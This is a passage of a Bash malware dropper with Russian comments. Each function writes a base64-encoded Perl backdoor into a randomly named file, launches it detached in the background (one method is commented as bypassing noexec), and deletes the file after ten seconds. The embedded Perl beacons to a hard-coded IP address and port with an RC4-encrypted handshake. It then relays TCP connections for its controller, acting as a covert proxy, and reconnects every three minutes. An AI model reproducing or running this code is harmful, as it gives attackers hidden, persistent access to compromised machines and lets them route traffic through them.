JGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_5ca10014() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODknOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_39aecc05() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" 